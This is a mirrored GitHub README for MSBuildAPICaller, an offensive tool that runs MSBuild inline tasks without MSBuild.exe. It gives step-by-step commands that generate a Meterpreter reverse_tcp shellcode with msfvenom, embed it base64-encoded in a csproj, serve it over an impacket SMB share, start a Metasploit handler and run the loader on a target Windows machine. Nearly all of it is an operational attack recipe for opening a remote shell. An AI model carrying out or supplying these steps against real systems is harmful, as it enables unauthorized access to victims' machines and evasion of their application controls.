Giter Club home page Giter Club logo

msbuildapicaller's Introduction

MSBuildAPICaller

MSBuild Without MSBuild.exe

How to build and execute

Step 0: git clone this repo on your Kali Linux machine

git clone https://github.com/xax007/MSBuildAPICaller
cd MSBuildAPICaller

Step 1: Build IEShim.cs on your Windows Machine CMD not powershell

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.Tasks.v4.0.dll";"Microsoft.Build.Utilities.v4.0.dll" /target:library IEShim.cs

Step 2: Modify msbuildapicaller.cs file

Modify projectPath variable on line 60 of msbuildapicaller.cs to your needs

Example:
string projectPath = '\\\\192.168.1.100\\share\\msbuildapicaller.csproj';

Step 3: Generate shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.1 LPORT=2000

convert the shellcode from binary to base64

base64 -w 0 -i /root/payload64.bin > payload64.txt

Replace <Base64 Encoded x64 Shellcode> with your base64 encoded x64 shellcode in msbuildapicaller.csproj file

Step 4: Modify msbuildapicaller.csproj fille

Replace AssemblyFile variable in msbuildapicaller.csproj file with the location of your compiled dll from step 1

Step 5: Build msbuildapicaller.cs file

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe msbuildapicaller.cs

Step 6: Start a SMB Server via impacket on Kali Linux

impacket-smbserver share /msbuild -smb2support

Step 7: Start a Metasploit exploit handler

$ msfdb run
msf5> handler -p windows/x64/meterpreter/reverse_tcp -P 4444 -H 1.2.3.4

Step 8: Execute

execute msbuildapicaller.exe file complied from step 5 on target windows machine

reference: MSBUILD WITHOUT MSBUILD

msbuildapicaller's People

Contributors

ktlmsney avatar rvrsh3ll avatar xax007 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.